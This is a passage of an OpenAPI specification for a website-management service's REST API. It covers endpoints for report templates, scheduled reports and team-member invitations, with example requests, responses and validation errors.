`site_id`\n- `site_id:in` must use array syntax, for example `filters[site_id:in][]=`\n- Use ISO 8601 timestamps for `created_at` and `updated_at` filters\n- `timezone` applies to `created_at` filters\n- Example: `filters[name:contains]=Monthly`\n\n**Sorting**\n- Format: `sort=field,direction`\n- Sortable fields: `name`, `created_at`, `updated_at`\n- Supported directions: `asc` (ascending), `desc` (descending)\n- Default: `created_at,desc`\n- Example: `sort=created_at,desc`\n", "parameters": [ { "$ref": "#/components/parameters/page" }, { "$ref": "#/components/parameters/per_page" }, { "$ref": "#/components/parameters/timezone" }, { "name": "sort", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/ListReportTemplatesSort" }, "description": "Sort order for returned report templates.", "example": "created_at,desc" }, { "name": "filters", "in": "query", "required": false, "style": "deepObject", "explode": true, "schema": { "$ref": "#/components/schemas/ListReportTemplatesFilters" }, "description": "Filters applied to returned report templates.", "example": { "name:contains": "Monthly", "site_id:in": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ] } } ], "responses": { "200": { "description": "Report templates returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListReportTemplatesResponse" }, "example": { "report_templates": [ { "id": "nR4eJk7pLm2xWc8vYs5fTd9a", "site_ids": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ], "name": "Monthly Website Report", "created_at": "2026-02-20T09:15:00Z", "updated_at": "2026-02-20T09:15:00Z" }, { "id": "pL8vQ3xRn5mJw9cT2hY6dFs", "site_ids": [], "name": "Security Summary Report", "created_at": "2026-02-18T14:30:00Z", "updated_at": "2026-02-19T08:45:00Z" } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } } } }, "400": { "$ref": "#/components/responses/ListReportTemplatesInvalidRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } }, "post": { "tags": [ "Report Templates" ], "summary": "Create report template", "operationId": "createReportTemplate", "description": "Creates a user-created report template with report appearance, included\nsections, section order, and email settings.\n\nUse this when report contents and email settings should be reusable for\none-time reports or scheduled reports.\n\nA successful response returns the created report template with editable\nreport appearance, sections, section order, email settings, and site IDs.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ReportTemplateRequest" }, "example": { "report_template": { "name": "Monthly Website Report", "general": { "primary_color": "#2F80ED", "language": "en", "date_format": "DD/MM/YYYY" }, "sections": { "cover": { "visible": true, "heading": "Website Report", "dynamic_data": { "logo": { "option": "default" }, "cover_image": { "option": "default" } } } }, "section_order": [ "cover" ], "email": { "sender_email": null, "subject": "Monthly Website Report", "body": "Please find your report attached.", "attach_pdf": true } } } } } }, "responses": { "201": { "description": "Report template created successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ReportTemplateResponse" }, "example": { "report_template": { "id": "nR4eJk7pLm2xWc8vYs5fTd9a", "name": "Monthly Website Report", "site_ids": [], "general": { "primary_color": "#2F80ED", "language": "en", "date_format": "DD/MM/YYYY" }, "sections": { "cover": { "visible": true, "heading": "Website Report", "dynamic_data": { "logo": { "option": "default" }, "cover_image": { "option": "default" } } } }, "section_order": [ "cover" ], "email": { "sender_email": null, "subject": "Monthly Website Report", "body": "Please find your report attached.", "attach_pdf": true }, "created_at": "2026-02-20T09:15:00Z", "updated_at": "2026-02-20T09:15:00Z" } } } } }, "400": { "$ref": "#/components/responses/ReportTemplateValidationResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "$ref": "#/components/responses/ReportTemplateCreateBusinessResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/report-templates/{report_template_id}": { "parameters": [ { "name": "report_template_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/ReportTemplateId" }, "description": "Report template ID returned in report template lists and details." } ], "get": { "tags": [ "Report Templates" ], "summary": "Show report template", "operationId": "showReportTemplate", "description": "Returns one user-created report template from your account with its full\nreport appearance, sections, section order, and email settings.\n\nUse this when you need to review or reuse one template's report contents\nand email settings.\n\nA successful response returns the requested report template.\n", "responses": { "200": { "$ref": "#/components/responses/ReportTemplateOkResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/report-templates/{report_template_id}/update": { "parameters": [ { "name": "report_template_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/ReportTemplateId" }, "description": "Report template ID returned in report template lists and details." } ], "post": { "tags": [ "Report Templates" ], "summary": "Update report template", "operationId": "updateReportTemplate", "description": "Updates a user-created report template's report appearance, included\nsections, section order, or email settings.\n\nUse this when a reusable report template needs different report contents,\nappearance, or email settings for future one-time reports or scheduled\nreports.\n\nA successful response returns the updated report template.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ReportTemplateRequest" }, "example": { "report_template": { "name": "Monthly Website Report", "general": { "primary_color": "#2F80ED", "language": "en", "date_format": "DD/MM/YYYY" }, "sections": { "cover": { "visible": true, "heading": "Website Report", "dynamic_data": { "logo": { "option": "default" }, "cover_image": { "option": "default" } } } }, "section_order": [ "cover" ], "email": { "sender_email": { "id": "sE8nK5xR2mL7pQ4vT6hY9bFd" }, "subject": "Monthly Website Report", "body": "Please find your report attached.", "attach_pdf": true } } } } } }, "responses": { "200": { "$ref": "#/components/responses/ReportTemplateOkResponse" }, "400": { "$ref": "#/components/responses/ReportTemplateValidationResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/ReportTemplateUpdateBusinessResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/report-templates/delete": { "post": { "tags": [ "Report Templates" ], "summary": "Delete report templates", "operationId": "deleteReportTemplates", "description": "Deletes selected user-created report templates.\n\nUse this when templates are no longer needed. The response shows which\nIDs were deleted and which IDs could not be deleted.\n\nTemplates used by active or paused scheduled reports are reported with\n`template_in_use`.\n\nA successful response returns the delete result and counts.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/DeleteReportTemplatesRequest" }, "example": { "ids": [ "nR4eJk7pLm2xWc8vYs5fTd9a", "mK8pQ2xZw7nRv4sLt9yHb3c", "vWs9nL4pKx7mQc2dR8fTy5h" ] } } } }, "responses": { "200": { "description": "Report template delete request processed successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/DeleteReportTemplatesResponse" }, "example": { "delete": { "ids": [ "nR4eJk7pLm2xWc8vYs5fTd9a" ], "errors": [ { "id": "mK8pQ2xZw7nRv4sLt9yHb3c", "code": "not_found", "message": "Report template not found" }, { "id": "vWs9nL4pKx7mQc2dR8fTy5h", "code": "template_in_use", "message": "Template is in use by a scheduled report" } ] }, "meta": { "requested": 3, "succeeded": 1, "failed": 2 } } } } }, "400": { "$ref": "#/components/responses/DeleteReportTemplatesValidationResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/scheduled-reports": { "get": { "tags": [ "Scheduled Reports" ], "summary": "List scheduled reports", "operationId": "listScheduledReports", "description": "Returns active and paused scheduled reports in your account for sites\navailable to you. Each item includes the site, title, template ID,\nstatus, frequency, timezone, next report time, and recipient email\naddresses.\n\nUse this list to review recurring report schedules, find a scheduled\nreport to update, pause, resume, or delete, or check which site and\nrecipients each schedule uses.\n\nA successful response returns a paginated list of scheduled reports.\n\n**Filtering**\n- Format: `filters[field:operator]=value`\n- Allowed fields: `site_id`, `status`, `frequency`, `created_at`\n- Supported operators:\n - `eq`: `site_id`, `status`, `frequency`\n - `gte`: `created_at`\n - `lte`: `created_at`\n- Supported status values for matching: `active`, `paused`\n- Supported frequency values for matching: `weekly`, `biweekly`, `monthly`\n- Use ISO 8601 timestamps for `created_at` filters\n- `timezone` applies to `created_at` filters\n- Example: `filters[status:eq]=active`\n\n**Sorting**\n- Format: `sort=field,direction`\n- Sortable fields: `created_at`, `next_report_at`\n- Supported directions: `asc` (ascending), `desc` (descending)\n- Default: `created_at,desc`\n- Example: `sort=next_report_at,asc`\n", "parameters": [ { "$ref": "#/components/parameters/page" }, { "$ref": "#/components/parameters/per_page" }, { "$ref": "#/components/parameters/timezone" }, { "name": "sort", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/ListScheduledReportsSort" }, "description": "Sort order for returned scheduled reports.", "example": "created_at,desc" }, { "name": "filters", "in": "query", "required": false, "style": "deepObject", "explode": true, "schema": { "$ref": "#/components/schemas/ListScheduledReportsFilters" }, "description": "Filters applied to returned scheduled reports.", "example": { "site_id:eq": "9bf3c2e7a1b24c6d8e9f0123456789ab", "status:eq": "active" } } ], "responses": { "200": { "description": "Scheduled reports returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListScheduledReportsResponse" }, "example": { "scheduled_reports": [ { "id": "qF3dKm8nRx2wJc6vPs9eTy5h", "site": { "id": "9bf3c2e7a1b24c6d8e9f0123456789ab", "title": "Example Site", "url": "https://example.com" }, "title": "Weekly Website Report", "template_id": "nR4eJk7pLm2xWc8vYs5fTd9a", "status": "active", "frequency": "weekly", "timezone": "UTC", "started_at": "2026-03-10T09:00:00Z", "next_report_at": "2026-03-17T09:00:00Z", "email": { "recipients": [ "user@example.com" ] }, "created_at": "2026-03-02T10:00:00Z", "updated_at": "2026-03-02T10:00:00Z" }, { "id": "mN8pQr4sTu6vWx2yZa9bCd3e", "site": { "id": "7ae1c4b8d3f24a19b6c5e8f901234567", "title": "Storefront Site", "url": "https://store.example.com" }, "title": "Monthly Website Report", "template_id": "kP8tYs4vWq6xNc2mRb9eFd1g", "status": "paused", "frequency": "monthly", "timezone": "UTC", "started_at": "2026-03-05T09:00:00Z", "next_report_at": "2026-04-05T09:00:00Z", "email": { "recipients": [ "owner@example.com", "reports@example.com" ] }, "created_at": "2026-03-01T10:00:00Z", "updated_at": "2026-03-03T12:30:00Z" } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } } } }, "400": { "$ref": "#/components/responses/components-responses-InvalidIndexQueryResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } }, "post": { "tags": [ "Scheduled Reports" ], "summary": "Create scheduled report", "operationId": "createScheduledReport", "description": "Creates an active scheduled report for a site available to you.\n\nUse this when a site needs reports generated and emailed on a recurring\nschedule.\n\nThe site can have at most one active or paused scheduled report.\n\nA successful response returns the created scheduled report with editable\nreport contents and email delivery settings.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/CreateScheduledReportRequest" }, "example": { "scheduled_report": { "site_id": "9bf3c2e7a1b24c6d8e9f0123456789ab", "timezone": "UTC", "started_at": "2026-03-10T09:00:00Z", "frequency": "weekly", "report_template_data": { "general": { "primary_color": "#2F80ED", "language": "en", "date_format": "DD/MM/YYYY" }, "sections": { "cover": { "visible": true, "heading": "Website Report", "dynamic_data": { "logo": { "option": "default" }, "cover_image": { "option": "default" } } } }, "section_order": [ "cover" ], "email": { "sender_email": null, "subject": "Weekly Website Report", "body": "Please find your report attached.", "attach_pdf": true, "send_to_client": false, "recipients": [ "user@example.com" ] } } } } } } }, "responses": { "201": { "description": "Scheduled report created successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ScheduledReportResponse" }, "example": { "scheduled_report": { "id": "qF3dKm8nRx2wJc6vPs9eTy5h", "site": { "id": "9bf3c2e7a1b24c6d8e9f0123456789ab", "title": "Example Site", "url": "https://example.com" }, "title": "Weekly Website Report", "template_id": "nR4eJk7pLm2xWc8vYs5fTd9a", "status": "active", "frequency": "weekly", "timezone": "UTC", "started_at": "2026-03-10T09:00:00Z", "next_report_at": "2026-03-17T09:00:00Z", "report_template_data": { "general": { "primary_color": "#2F80ED", "language": "en", "date_format": "DD/MM/YYYY" }, "sections": { "cover": { "visible": true, "heading": "Website Report", "dynamic_data": { "logo": { "option": "default" }, "cover_image": { "option": "default" } } } }, "section_order": [ "cover" ], "email": { "sender_email": null, "subject": "Weekly Website Report", "body": "Please find your report attached.", "attach_pdf": true, "send_to_client": false, "recipients": [ "user@example.com" ] } }, "created_at": "2026-03-01T10:00:00Z", "updated_at": "2026-03-01T10:00:00Z" } } } } }, "400": { "$ref": "#/components/responses/ScheduledReportCreateValidationResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/ScheduledReportCreateBusinessResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/scheduled-reports/{scheduled_report_id}": { "parameters": [ { "name": "scheduled_report_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/ScheduledReportId" }, "description": "Scheduled report ID returned in scheduled report lists and details." } ], "get": { "tags": [ "Scheduled Reports" ], "summary": "Show scheduled report", "operationId": "showScheduledReport", "description": "Returns one active or paused scheduled report for a site available to\nyou, including editable report contents and email delivery settings.\n\nUse this when you need the current schedule details before updating,\npausing, resuming, or deleting it.\n\nA successful response returns the requested scheduled report.\n", "responses": { "200": { "$ref": "#/components/responses/ScheduledReportOkResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } }, "delete": { "tags": [ "Scheduled Reports" ], "summary": "Delete scheduled report", "operationId": "deleteScheduledReport", "description": "Deletes one scheduled report.\n\nUse this when a site should stop generating reports from this recurring\nschedule.\n\nA successful response removes the scheduled report and returns no\nresponse body.\n", "responses": { "204": { "description": "Scheduled report deleted successfully. No response body is returned." }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/ScheduledReportDeleteBusinessResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/scheduled-reports/{scheduled_report_id}/update": { "parameters": [ { "name": "scheduled_report_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/ScheduledReportId" }, "description": "Scheduled report ID returned in scheduled report lists and details." } ], "post": { "tags": [ "Scheduled Reports" ], "summary": "Update scheduled report", "operationId": "updateScheduledReport", "description": "Updates one scheduled report's timing, frequency, template, report\ncontents, or email delivery settings.\n\nUse this when the recurring report schedule, selected template, report\ncontents, or email delivery settings need to change.\n\nUse `pause` or `resume` to change `status`.\n\nA successful response returns the updated scheduled report.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UpdateScheduledReportRequest" }, "example": { "scheduled_report": { "timezone": "UTC", "started_at": "2026-03-10T09:00:00Z", "frequency": "monthly", "template_id": "nR4eJk7pLm2xWc8vYs5fTd9a", "report_template_data": { "general": { "primary_color": "#2F80ED", "language": "en", "date_format": "DD/MM/YYYY" }, "sections": { "cover": { "visible": true, "heading": "Website Report", "dynamic_data": { "logo": { "option": "default" }, "cover_image": { "option": "default" } } } }, "section_order": [ "cover" ], "email": { "sender_email": { "id": "sE8nK5xR2mL7pQ4vT6hY9bFd" }, "subject": "Monthly Website Report", "body": "Please find your report attached.", "attach_pdf": true, "send_to_client": false, "recipients": [ "user@example.com" ] } } } } } } }, "responses": { "200": { "$ref": "#/components/responses/ScheduledReportOkResponse" }, "400": { "$ref": "#/components/responses/ScheduledReportUpdateValidationResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/ScheduledReportUpdateBusinessResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/scheduled-reports/{scheduled_report_id}/pause": { "parameters": [ { "name": "scheduled_report_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/ScheduledReportId" }, "description": "Scheduled report ID returned in scheduled report lists and details." } ], "post": { "tags": [ "Scheduled Reports" ], "summary": "Pause scheduled report", "operationId": "pauseScheduledReport", "description": "Pauses one active scheduled report.\n\nUse this when recurring reports should stop temporarily without deleting\nthe schedule.\n\nA successful response returns the scheduled report with `status: paused`.\n", "responses": { "200": { "$ref": "#/components/responses/ScheduledReportPausedResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/ScheduledReportAlreadyPausedResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/scheduled-reports/{scheduled_report_id}/resume": { "parameters": [ { "name": "scheduled_report_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/ScheduledReportId" }, "description": "Scheduled report ID returned in scheduled report lists and details." } ], "post": { "tags": [ "Scheduled Reports" ], "summary": "Resume scheduled report", "operationId": "resumeScheduledReport", "description": "Resumes one paused scheduled report.\n\nUse this when recurring reports should start again after a pause.\n\nA successful response returns the scheduled report with `status: active`.\n", "responses": { "200": { "$ref": "#/components/responses/ScheduledReportResumedResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/ScheduledReportAlreadyActiveResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/team-members": { "get": { "tags": [ "Teams" ], "summary": "List team members", "operationId": "listTeamMembers", "description": "Returns team members who can access your account now and invitations still\nwaiting for acceptance. Each item shows role, status, site access, contact\ndetails, and two-factor status when available.\n\nUse this list to review account access, find an invitation to resend, or\nchoose a team member or invitation to update or remove.\n\n`connected` means the person can access the account now. `pending` means\nthe invitation has not been accepted yet.\n\nA successful response returns a paginated list of team members and\ninvitations.\n\n**Filtering**\n- Format: `filters[field:operator]=value`\n- Allowed fields: `name`, `email`, `role`, `two_fa_enabled`, `status`, `company_name`, `created_at`, `updated_at`\n- Supported operators:\n - `contains`: `name`, `email`, `company_name`\n - `eq`: `role`, `two_fa_enabled`, `status`\n - `gte`: `created_at`, `updated_at`\n - `lte`: `created_at`, `updated_at`\n- Supported role values for matching: `collaborator`, `administrator`, `co_owner`\n- Supported status values for matching: `connected`, `pending`\n- Boolean filters accept `true` or `false`\n- `two_fa_enabled:eq=false` also includes invitations that have not been accepted yet.\n- Use ISO 8601 timestamps for `created_at` and `updated_at` filters\n- `timezone` applies to `created_at` filters\n- Example: `filters[role:eq]=administrator`\n\n**Sorting**\n- Format: `sort=field,direction`\n- Sortable fields: `created_at`, `updated_at`, `name`, `email`, `role`\n- Supported directions: `asc` (ascending), `desc` (descending)\n- Default: `created_at,desc`\n- Example: `sort=created_at,desc`\n", "parameters": [ { "$ref": "#/components/parameters/page" }, { "$ref": "#/components/parameters/per_page" }, { "$ref": "#/components/parameters/timezone" }, { "name": "sort", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/ListTeamMembersSort" }, "description": "Sort order for returned team members and invitations." }, { "name": "filters", "in": "query", "required": false, "style": "deepObject", "explode": true, "schema": { "$ref": "#/components/schemas/ListTeamMembersFilters" }, "description": "Filters applied to returned team members and invitations.", "example": { "name:contains": "John", "role:eq": "administrator", "status:eq": "connected" } } ], "responses": { "200": { "description": "Team members and invitations returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListTeamMembersResponse" }, "example": { "team_members": [ { "id": "hY2nK8xR5mL3pQ7vT9wJ4bFc", "name": "Jane Doe", "email": "jane@example.com", "role": "administrator", "company_name": "Acme Inc", "status": "connected", "all_sites_access": true, "site_ids": [ "9bf3c2e7a1b24c6d8e9f0123456789ab", "a4d8f2c1b6e94d0a8f73c2e5d1b9a604" ], "two_fa_enabled": true, "note": "Primary manager", "created_at": "2026-02-20T10:00:00Z", "updated_at": "2026-02-28T08:30:00Z" }, { "id": "nX6mK4xQ9pL2wJ8vT5hY7bFe", "name": "Alex Smith", "email": "alex@example.com", "role": "collaborator", "company_name": "Acme Inc", "status": "pending", "all_sites_access": false, "site_ids": [ "9bf3c2e7a1b24c6d8e9f0123456789ab" ], "two_fa_enabled": false, "note": "Handles SEO updates", "created_at": "2026-02-28T09:00:00Z", "updated_at": "2026-02-28T09:00:00Z" } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } } } }, "400": { "$ref": "#/components/responses/TeamMembersInvalidIndexQueryResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } }, "post": { "tags": [ "Teams" ], "summary": "Create team member invitation", "operationId": "createTeamMember", "description": "Creates a team member invitation and sends it to the provided email\naddress. The invitation defines the role and site access the person will\nreceive after accepting.\n\nUse this when someone needs access to help manage all sites or selected\nsites in your account.\n\nThe invitation starts with `status: pending` until the recipient accepts\nit.\n\nA successful response returns the pending invitation.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/CreateTeamMemberRequest" }, "examples": { "limited_access": { "summary": "Invite a collaborator with one site", "value": { "team_member": { "name": "Alex Smith", "email": "alex@example.com", "role": "collaborator", "company_name": "Acme Inc", "all_sites_access": false, "note": "Handles SEO updates", "site_ids": [ "9bf3c2e7a1b24c6d8e9f0123456789ab" ] } } }, "co_owner": { "summary": "Invite a co-owner with all-sites access", "value": { "team_member": { "name": "Taylor Lee", "email": "taylor@example.com", "role": "co_owner", "company_name": "Acme Inc", "note": "Account operations" } } } } } } }, "responses": { "201": { "description": "Team member invitation created successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/CreateTeamMemberResponse" }, "examples": { "limited_access": { "summary": "Limited-access invitation", "value": { "team_member": { "id": "nX6mK4xQ9pL2wJ8vT5hY7bFe", "name": "Alex Smith", "email": "alex@example.com", "role": "collaborator", "company_name": "Acme Inc", "status": "pending", "all_sites_access": false, "site_ids": [ "9bf3c2e7a1b24c6d8e9f0123456789ab" ], "two_fa_enabled": false, "note": "Handles SEO updates", "created_at": "2026-02-28T09:00:00Z", "updated_at": "2026-02-28T09:00:00Z" } } }, "co_owner": { "summary": "Co-owner invitation", "value": { "team_member": { "id": "pQ3nK7xR2mL9pJ4vT6hY1bFc", "name": "Taylor Lee", "email": "taylor@example.com", "role": "co_owner", "company_name": "Acme Inc", "status": "pending", "all_sites_access": true, "site_ids": [ "9bf3c2e7a1b24c6d8e9f0123456789ab", "a4d8f2c1b6e94d0a8f73c2e5d1b9a604" ], "two_fa_enabled": false, "note": "Account operations", "created_at": "2026-02-28T09:05:00Z", "updated_at": "2026-02-28T09:05:00Z" } } } } } } }, "400": { "description": "The `team_member` request body is missing or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_wrapper": { "summary": "Missing team_member root key", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "team_member", "message": "Can't be blank" } ] } } }, "invalid_wrapper_type": { "summary": "team_member is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "team_member", "message": "Must be an object." } ] } } }, "invalid_text_type": { "summary": "Text field is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "company_name", "message": "Must be a string" } ] } } }, "text_too_long": { "summary": "Text fields exceed maximum length", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "too_long", "param": "name", "message": "Is too long (maximum is 255 characters)" }, { "code": "too_long", "param": "company_name", "message": "Is too long (maximum is 255 characters)" }, { "code": "too_long", "param": "note", "message": "Is too long (maximum is 5000 characters)" } ] } } }, "invalid_site_ids_type": { "summary": "site_ids is not an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "site_ids", "message": "Must be an array" } ] } } }, "invalid_all_sites_access_type": { "summary": "all_sites_access is not a boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "all_sites_access", "message": "Must be a boolean" } ] } } }, "blank_name": { "summary": "Name is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "name", "message": "Can't be blank" } ] } } }, "blank_email": { "summary": "Email is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "email", "message": "Can't be blank" } ] } } }, "blank_role": { "summary": "Role is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "role", "message": "Can't be blank" } ] } } }, "invalid_role": { "summary": "Invalid role value", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "role", "message": "Invalid role." } ] } } } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "description": "The team member invitation could not be created.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "owner_email": { "summary": "Cannot add account owner as team member", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "owner_email", "param": "email", "message": "Can't add account owner as team member." } ] } } }, "already_exists": { "summary": "Team member with this email already exists", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "already_exists", "param": "email", "message": "Team member already exists." } ] } } }, "role_hierarchy": { "summary": "Assigned role must be lower than your role", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "role_hierarchy", "param": "role", "message": "Assigned role must be lower than your own." } ] } } }, "invalid_site_id": { "summary": "Invalid site ID", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_id", "param": "site_ids", "message": "Incorrect site id: 'a1b2c3d4e5f64789ab0c123456789def'" } ] } } }, "limited_access_without_sites": { "summary": "Limited access requires a site", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "blank", "param": "site_ids", "message": "At least one site is required." } ] } } }, "cannot_assign_all_sites_access": { "summary": "Your current access does not include all-sites access", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "cannot_assign_all_sites_access", "param": "all_sites_access", "message": "You can't assign all-sites access." } ] } } }, "site_ids_with_all_sites_access": { "summary": "Limited site IDs sent with all-sites access", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_value", "param": "site_ids", "message": "Must be empty when all_sites_access is true." } ] } } }, "required_for_co_owner": { "summary": "Co-owner must have all-sites access", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "required_for_co_owner", "param": "all_sites_access", "message": "Co-owner must have all-sites access." } ] } } }, "not_allowed_for_co_owner": { "summary": "Co-owner cannot have limited site access", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "not_allowed_for_co_owner", "param": "site_ids", "message": "Co-owner cannot have limited site access." } ] } } }, "max_quota": { "summary": "Team member limit reached", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "max_quota", "param": "base", "message": "Exceeded your team members limit." } ] } } } } } } }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/team-members/{team_member_id}": { "parameters": [ { "name": "team_member_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/TeamMemberId" }, "description": "Team member or invitation ID returned in team member lists and details." } ], "get": { "tags": [ "Teams" ], "summary": "Show team member", "operationId": "showTeamMember", "description": "Returns one connected team member or one pending invitation, including\nrole, status, site access, contact details, note, and two-factor status.\n\nUse this when reviewing a person's current access before updating,\nremoving, or resending an invitation.\n\nA successful response returns the requested team member or invitation.\n", "responses": { "200": { "description": "Team member or invitation returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ShowTeamMemberResponse" }, "example": { "team_member": { "id": "hY2nK8xR5mL3pQ7vT9wJ4bFc", "name": "Jane Doe", "email": "jane@example.com", "role": "administrator", "company_name": "Acme Inc", "status": "connected", "all_sites_access": true, "site_ids": [ "9bf3c2e7a1b24c6d8e9f0123456789ab", "a4d8f2c1b6e94d0a8f73c2e5d1b9a604" ], "two_fa_enabled": true, "note": "Primary manager", "created_at": "2026-02-20T10:00:00Z", "updated_at": "2026-02-28T08:30:00Z" } } } } }, "401": { 